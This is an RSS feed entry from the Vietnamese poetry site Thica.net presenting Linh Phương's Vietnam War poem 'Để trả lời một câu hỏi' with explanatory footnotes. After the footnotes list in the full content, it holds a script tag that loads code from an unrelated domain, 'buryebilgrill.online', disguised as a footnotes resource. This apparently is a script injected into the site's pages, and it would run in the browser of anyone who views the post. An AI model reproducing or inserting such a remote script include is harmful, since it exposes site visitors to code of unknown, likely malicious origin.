<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netBài thơ &quot;Để trả lời một câu hỏi&quot; của nhà thơ Linh Phương - Thica.net</title>
	<atom:link href="https://www.thica.net/2008/07/31/de-tra-loi-mot-cau-hoi/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/2008/07/31/de-tra-loi-mot-cau-hoi/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Để trả lời một câu hỏi</title>
		<link>https://www.thica.net/2008/07/31/de-tra-loi-mot-cau-hoi/</link>
		<comments>https://www.thica.net/2008/07/31/de-tra-loi-mot-cau-hoi/#comments</comments>
		<pubDate>Thu, 31 Jul 2008 08:15:48 +0000</pubDate>
		<dc:creator><![CDATA[Linh Phương]]></dc:creator>
				<category><![CDATA[Linh Phương]]></category>
		<category><![CDATA[Chiến tranh]]></category>
		<category><![CDATA[Người lính]]></category>
		<category><![CDATA[Thơ phổ nhạc]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=315</guid>
		<description><![CDATA[<p>Em hỏi anh bao giờ trở lại<br />
Xin trả lời mai mốt anh về<br />
Không bằng chiến trận Plei Me<br />
Hay Đức Cơ - Đồng Xoài - Bình Giã <br />
Anh trở về hàng cây nghiêng ngả<br />
Anh trở về hòm gỗ cài hoa<br />
Anh trở về bằng chiếc băng ca<br />
Trên trực thăng sơn màu tang trắng<br />
Mai trở về chiều hoang trốn nắng<br />
Poncho buồn liệm kín hồn anh<br />
Mai trở về bờ tóc em xanh<br />
Vội vã chít khăn sô vĩnh biệt</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2008/07/31/de-tra-loi-mot-cau-hoi/">Để trả lời một câu hỏi</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Em hỏi anh bao giờ trở lại<br />Xin trả lời mai mốt anh về<br />Không bằng chiến trận Plei Me<br />Hay Đức Cơ &#8211; Đồng Xoài &#8211; Bình Giã <sup><a href="https://www.thica.net/2008/07/31/de-tra-loi-mot-cau-hoi/#footnote_0_315" id="identifier_0_315" class="footnote-link footnote-identifier-link" title="Plei Me, Đức Cơ, Đồng Xo&agrave;i, B&igrave;nh Gi&atilde;: t&ecirc;n những trận đ&aacute;nh khốc liệt giữa qu&acirc;n đội Giải ph&oacute;ng miền Nam v&agrave; Việt Nam Cộng H&ograve;a trong chiến tranh Việt Nam">1</a></sup><br />Anh trở về hàng cây nghiêng ngả<br />Anh trở về hòm gỗ cài hoa<br />Anh trở về bằng chiếc băng ca<br />Trên trực thăng sơn màu tang trắng<br />Mai trở về chiều hoang trốn nắng<br />Poncho <sup><a href="https://www.thica.net/2008/07/31/de-tra-loi-mot-cau-hoi/#footnote_1_315" id="identifier_1_315" class="footnote-link footnote-identifier-link" title="&Aacute;o đi mưa của nh&agrave; binh, c&ograve;n d&ugrave;ng l&agrave;m nệm, v&otilde;ng&hellip;">2</a></sup> buồn liệm kín hồn anh<br />Mai trở về bờ tóc em xanh<br />Vội vã chít khăn sô vĩnh biệt<br />Mai anh về em sầu thê thiết<br />Kỷ vật đây viên đạn màu đồng<br />Cho em làm kỷ niệm sang sông<br />Đời con gái một lần dang dở<br />Mai anh về trên đôi nạng gỗ<br />Bại tướng về làm gã cụt chân<br />Em ngại ngùng dạo phố mùa xuân<br />Bên người yêu tật nguyền chai đá<br />Thì thôi hãy nhìn nhau xa lạ<br />Em nhìn anh &#8211; ánh mắt chưa quen<br />Anh nhìn em &#8211; anh sẽ cố quên<br />Tình nghĩa cũ một lần trăng trối.</p><ol class="footnotes"><li id="footnote_0_315" class="footnote">Plei Me, Đức Cơ, Đồng Xoài, Bình Giã: tên những trận đánh khốc liệt giữa quân đội Giải phóng miền Nam và Việt Nam Cộng Hòa trong chiến tranh Việt Nam</li><li id="footnote_1_315" class="footnote">Áo đi mưa của nhà binh, còn dùng làm nệm, võng&#8230;</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2008/07/31/de-tra-loi-mot-cau-hoi/">Để trả lời một câu hỏi</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2008/07/31/de-tra-loi-mot-cau-hoi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">315</post-id>	</item>
	</channel>
</rss>
